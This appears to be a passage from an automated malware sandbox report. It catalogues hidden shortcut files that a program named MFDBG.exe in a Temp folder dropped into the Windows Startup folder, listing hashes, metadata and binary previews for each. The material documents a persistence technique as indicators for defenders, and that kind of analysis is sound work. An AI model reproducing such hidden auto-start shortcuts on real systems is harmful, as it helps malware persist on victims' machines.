Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916544959941015
Encrypted:	false
SSDEEP:	24:8XBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	18BD87DFE56950DD858D85BB3552E3D6
SHA1:	38D771DFE096767D5954627B66ED9BDCAD8AA8C4
SHA-256:	F2873EECD07FDE59842455CB5F3084B9E28508472AE82AF2F944C75526EC0A83
SHA-512:	28807370670F612E27F59737B1A0C74FDD11F185F5701007F5CA66B3CD89F4A18C4AA0F8DA0C97ABE4DDBA7FA207F3D707C5FE15B2D89DA9939C322561B3D942
Malicious:	false
Preview:	L..................F....".......d.....$9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c48adb6b07f46e989aadb091d958cd9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92729985517936
Encrypted:	false
SSDEEP:	24:8oBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BFD71A231AA72AB79F48FF7AE5873221
SHA1:	0B9626D9C3A30BB156962E0169247F79A7830831
SHA-256:	B148626DFC9C28B45185748B965CAAD7C44AC9F926289E98EBEC1B33BA457DF6
SHA-512:	C02198738F51F5447B9EC32AF4B4732CF0C5532E54277B63811699279B1829635783F543E8D4C621DA9D82EDE12418845E199310B9EB37568B5DEB1E42C34B0B
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c655eb927524ceca6e55b5e0a24bbfa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927964954300206
Encrypted:	false
SSDEEP:	24:8BBf78EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8bAEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CF7CC5AC085C39C5EFFD9E8BE642AF0B
SHA1:	25B840DDA7417B237E93301A0DB3DF2875FD70FF
SHA-256:	E3AC7483A214951F112E7874DFD3ACE5897321A0FE0592C0A7270D7B31345A21
SHA-512:	E68B69EF9C76D010A4E4619EF1248646736BD210333DE6D68219CA3F9C9728521DE09D0FBB076F1F87CF2224622671E9F52B766F871DDDE5DEBE44A2244F0D80
Malicious:	false
Preview:	L..................F....".......d......^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c99ad6a211e464e85eabbafc66e6856.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921201869046302
Encrypted:	false
SSDEEP:	24:8dX2Bf78EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dX8QEvZ0yRO7DLO2zdxdRd1kyg
MD5:	676A8A9E8CC5ED5CAD29DC60DE938918
SHA1:	634AFADA7C3CABF2DF5FE7EFC6C8C81CE8140EF9
SHA-256:	93B5E500339CC0AB82C7390EE768F6567F81F19A7F3EFDE22628C92DA2792E54
SHA-512:	C6F8EDCA4E114C6D4B81DD656D05D5806D28B2915B505B7C3C21114595E927CCA4CDF201479A06F331F257F92B2C22EA070A6060DD57D1A348CDF8C430D24FD1
Malicious:	false
Preview:	L..................F....".......d.....k.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...QYp.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1cf9e50f61fc4cbbb151f7acef4a8614.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91838095380807
Encrypted:	false
SSDEEP:	24:88Bf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D9CFF0B615C3FE50E9DC6FE09E9DCB39
SHA1:	0B6673613AE4D496079C6A8153FBE7C5AC13C124
SHA-256:	2E8B148AF8F6719437C18B2CCF2FD6E5C574570840415A8E2E96BD7ED195EC6B
SHA-512:	99DE5BD1047424DE32CA83E0962CB78216ED5DAC21018C66CC31B9B80F01719A52EBCF65A7221293A574E8FBF5D578CC9AB1C702A0035398738484EB6A834B4E
Malicious:	false
Preview:	L..................F....".......d...C..:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d272941c88943d28e67fe6f5764521a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924802527552808
Encrypted:	false
SSDEEP:	24:8d92BfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8d98/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	06298718E4A00269D8DCF65393B9DD16
SHA1:	D276A1C220F902E70FE584E5D10188BF4C1684BD
SHA-256:	C9573F527D7CB3C2BD0AD64DD6241380BF7ECB8FD89FBF690D9F523F07790E51
SHA-512:	58477BD6895801F6D3171644C16DA8AA9454750173BDCDAE41773BD9263E3A8A6BFBA262DDB9242F31D74697830247A08DA51A80C3E571271EB5C3EA44355EA5
Malicious:	false
Preview:	L..................F....".......d... .%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d34563310da464693c502a2dec1a3c5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9176341011058895
Encrypted:	false
SSDEEP:	24:8HuBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	95E2E0DB9FB4BD043BF1B2374508B7D0
SHA1:	504B7243706DCF03E39EEC1B9F61FDF927B9F247
SHA-256:	D6289FACD78EC8B59E854D2863275C5BD7120956228872EA659CEDC7FE767F8D
SHA-512:	1A1EED6EDD4F0D17D4E289AB3AF1A9BABC507813E8B08BC5D1F0BF97614E8BE6E04EB1B22CF7072E6FE49952218F02F3FE865A4EE71D39746869CFA4379D5C19
Malicious:	false
Preview:	L..................F....".......d.....T\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d5498d13aca48509f25b0861cdf1bc9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9175811470120365
Encrypted:	false
SSDEEP:	24:8t2Bf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8t83FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3E979DD8D67102590E4E552A140C3AA6
SHA1:	37A68C3249483CC5F95F81ED5956D618C7CF3C81
SHA-256:	B235BFB9EDA0FF99C5457A5C82DFF554BD3EABCFAC7558F56800D6AAB7E19A59
SHA-512:	8E9C118FE34B22ADECE784F3691C33FBF3D3D52650AF865D96772D615DD932D7D0792B09BD38B6FC2702E371EEF0C37F304D08BA6ED3CC43E38DFE78B330171D
Malicious:	false
Preview:	L..................F....".......d...M..{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d618fc12b5f496dae00b66e5e85e854.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924872641521066
Encrypted:	false
SSDEEP:	24:8VRrBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	738AEEA52521C198B37B0431272EE902
SHA1:	26212569666A91D4A948B484ACF5037D219D416D
SHA-256:	5DFC72CA1CF3241B2335B173340940FE8061876D4D02B75CA359E712AA2D2408
SHA-512:	014339160783846BAC1A2922DC7DAF07813D7F81DEB7A4422528939A27974B1952664B91A69F4897CB58400F941625FE637984DBAE952BEECC45BDDC5CFF9226
Malicious:	false
Preview:	L..................F....".......d...(I.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e0b86547848468ab107236cb5d3ea51.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930088871165142
Encrypted:	false
SSDEEP:	24:8WQBfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8We/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	FCC257ECB455623EB5929A299C1FBA62
SHA1:	8249BFA553596C5A71196EAE28780C7E9269CACD
SHA-256:	D487437985033BF8EBBC5D99F5A0BCF2033D1E11F9579C639BFB5AF7E76365A1
SHA-512:	601E504FA80377C752306A3EB24B90AFDEAFCD6CDAC967C54F646975A3C1FFE671B45B3A4320243CC7352D0E952F304D20EF80FC43CD3023F133E6E220A18457
Malicious:	false
Preview:	L..................F....".......d...[.j%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e4f7deb02074fa3a783f50355d230bc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927299855179359
Encrypted:	false
SSDEEP:	24:8Hf3Bfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/RPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	57AB5A568BFB805C4167376CAB2D7D48
SHA1:	1B1D90AB0EBEC766555D723FBDCEACFC69EB3208
SHA-256:	82C59F951C1148BEAD772B919F31BBFB4152C473EB40CF2862E7E20D342D083B
SHA-512:	C49B7FBFF42E82A103912DC1C4BFD647B04BE7A13B706FD8EF0C38D1EA5EACB176ADB9F1265C2C191DE6F5F910E3BFC9008C3A293C556C7B85A95A82A136E83D
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e78f59b8a4e4ecfbd11468042e23394.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.911987157494967
Encrypted:	false
SSDEEP:	24:8DcQBfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89UJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3878ADE3B00FAB6B4EBEBD883B45BC7E
SHA1:	519FFC79E3D50BA72F0983DCAB36DC20C24DDE1E
SHA-256:	126F80B2D47073AF77EDBEB59FABCED7AEC0C9D20DBE98689FB6E23C6E9ABD16
SHA-512:	C08DA2E4C0B0C916380A04FB5C90F045E8D15A466C12C94EB88FDB46C2FAD9DA87211A7C9170A15F3B5917152A7E599BBFC353F7891C3A3DD53EDB60E4A20538
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e87d1c6f4d246c1b33392c295ce841c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928754907562093
Encrypted:	false
SSDEEP:	24:81Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83REvZ0yRO7DLO2zdxdRd1kyg
MD5:	13957E2B8E0F088899AA882F956D4045
SHA1:	385998550ACCB18D1F374A5CFDE9BEAAB9A92678
SHA-256:	7B7E56387F6AF0CD8C4CD922843D174050F23CC47ED26E3E160322086DEEB788
SHA-512:	55BE17448BEEEFE93033841C03E27008F84F2D697AC00A1996705D792DE2A09D9EC900340A7933DAD59473A66C5D0E8194292FD3E52C35D9E31EFCA326C95A24
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e9490372e78474980811a0c919205ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
